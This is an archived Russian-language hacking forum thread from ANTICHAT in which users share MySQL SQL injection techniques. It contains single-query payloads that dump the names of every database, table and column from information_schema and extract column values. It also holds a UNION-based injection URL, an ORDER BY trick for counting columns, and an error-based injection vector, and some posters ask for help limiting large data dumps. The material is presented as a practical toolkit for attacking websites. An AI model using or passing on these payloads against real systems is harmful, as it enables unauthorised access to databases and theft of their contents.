ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

31.03.2015, 17:43
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме: 1066435
Репутация:
1013
|
|
начиная с версии MySQL 5.7 колонка password в бд mysql переименована в authentication_string.
Код:
Code:
SELECT user, authentication_string FROM mysql.user;
|
|
|

02.04.2015, 14:45
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
Товарищ profexer сделал очень крутую вещь - ускоритель MySQL.
Вывод данных в один запрос:
SELECT MID(CONCAT(@p:=0x20,(SELECT COUNT(*) FROM {TABLE} WHERE @p:=CONCAT(@p,0x2C,{COLUMNS})),@p),5)
Хотелось бы сразу получить одним запросом абсолютно всю структуру и уже далее тащить данные, а сделать можно это так(я сделал пример без пробелов!). Если есть предположения, что бд очень много, то сразу можно использовать пример ниже.
Список абсолютно всех бд, таблиц, колонок одним запросом(без пробелов!)
SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(i nformation_schema.columns)WHERE@p:=CONCAT(@p,0x0D0 A ,table_schema,0x3a,table_name,0x3a,column_name)),@ p),5))
0x0D0A -> перевод строки, смотреть в "Исходный код страницы"
Если желаете, то можете заменить на 0x2C -> Запятая или другой удобной вид, но в данном случае, как мне кажется, структуру любой бд с скули наглядно сразу не будет видно.
Ну далее частные случаи:
Список бд(без пробелов!)
SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(i nformation_schema.schemata)WHERE@p:=CONCAT(@p,0x2C ,schema_name)),@p),5))
Список всех бд, таблиц(без пробелов!)
SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(i nformation_schema.tables)WHERE@p:=CONCAT(@p,0x0D0A ,table_schema,0x3a,table_name)),@p),5))
Список всех таблиц, колонок текущей бд(без пробелов!)
SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(( select*from(information_schema.columns)where(table _schema=database()))x)WHERE@p:=CONCAT(@p,0x0D0A ,table_schema,0x3a,table_name,0x3a,column_name)),@ p),5))
Список таблиц текущей бд(без пробелов!)
SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(( select*from(information_schema.tables)where(table_ schema=database()))x)WHERE@p:=CONCAT(@p,0x2C,table _name)),@p),5))
Список колонок таблицы users(без пробелов!)
SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(( select*from(information_schema.columns)where(table _name=0x7573657273))x)WHERE@p:=CONCAT(@p,0x2C,colu mn_name)),@p),5))
ps помните, таблица users и в другой бд может быть, тогда добавить условие в where
И напоследок значения с колонок(без пробелов!)
SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM({ TABLE})WHERE@p:=CONCAT(@p,0x0D0A,{COLUMN1},0x3a,{C OLUMN2})),@p),5))
|
|
|

10.04.2015, 21:41
|
|
Guest
Сообщений: n/a
Провел на форуме: 10028
Репутация:
0
|
|
Может есть софт который проверяет параметры страницы на инъекцию?
а то бывает что данные не выводятся, или ещё что-то такое.
|
|
|
|

29.04.2015, 16:02
|
|
Guest
Сообщений: n/a
Провел на форуме: 5818
Репутация:
0
|
|
интересует вот что
INFORMATION_SCHEMA.TABLES открывается вот таким способом
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 1,1 --
если кроме INFORMATION_SCHEMA на сайте есть
bd1
db2
как их открыть?
|
|
|
|

11.06.2015, 17:19
|
|
Guest
Сообщений: n/a
Провел на форуме: 132418
Репутация:
652
|
|
Сообщение от psihoz26
psihoz26 said:
↑
Хочу добавить про подбор колонок в 1 запрос.
В случае если sqli выводит ошибки и пэйлоад вида
Код:
Code:
*+order+by+100+--+
выдаст нам ошибку
Код:
Code:
Query failed: Unknown column '100' in 'order clause'
То сразу смело вставляем такой пэйлоад
Код:
Code:
+order+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70+--+
В ответ получим
Код:
Code:
Query failed: Unknown column '*' in 'order clause'
Где '*'-1='колличество наших колонок'.
/threads/43966/page-4#post-1227563
|
|
|
|

11.06.2015, 18:22
|
|
Guest
Сообщений: n/a
Провел на форуме: 182660
Репутация:
324
|
|
|
|
|
|

26.11.2015, 07:53
|
|
Guest
Сообщений: n/a
Провел на форуме: 370
Репутация:
0
|
|
Сообщение от Strilo4ka
Strilo4ka said:
↑
И напоследок значения с колонок(без пробелов!)
SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM({ TABLE})WHERE@p:=CONCAT(@p,0x0D0A,{COLUMN1},0x3a,{C OLUMN2})),@p),5))
Приветствую! А подскажите как правильно преобразоватть этот запрос с оператором LIMIT, что бы мне выводилось, к примеру, из COLUMN1,COLUMN2 только первые 5к записей, а не все сразу.
|
|
|
|

27.12.2015, 11:49
|
|
Guest
Сообщений: n/a
Провел на форуме: 5498
Репутация:
31
|
|
Если вдруг кому будет интересно, немного о том почему вообще работает метод вывода данных в тексте ошибки Duplicate entry '[data]' for key 'group_key'вынес в отдельную статью:
Error-Based SQL injection в MySQL
И максимально сокращенный вектор этого метода выглядит теперь вот так:
Код:
Code:
SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2)x GROUP BY MID([YOUR_QUERY], FLOOR(RAND(33)*2), 64)
|
|
|
|

27.09.2016, 00:43
|
|
Guest
Сообщений: n/a
Провел на форуме: 294
Репутация:
0
|
|
Вопрос) Если в инъекции нельзя заюзать точку и тем самым не могу сделать например [...] SELECT * FROM INFORMATION_SCHEMA.TABLES [...] пробовал заюзать CHAR() но почему-то в названии таблицы не пашет
|
|
|
|

07.07.2007, 22:58
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме: 21768337
Репутация:
3486
|
|
Сообщение от _Great_
Вообще это далеко не первая статья на эту тематику. С завидной периодичностью их пишут почти каждые 2 недели
Согласен, но это наиболее полный сбор всего.
Кстати гораздо лучше чем выделенная тема:
https://forum.antichat.ru/threadnav19605-1-10.html
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|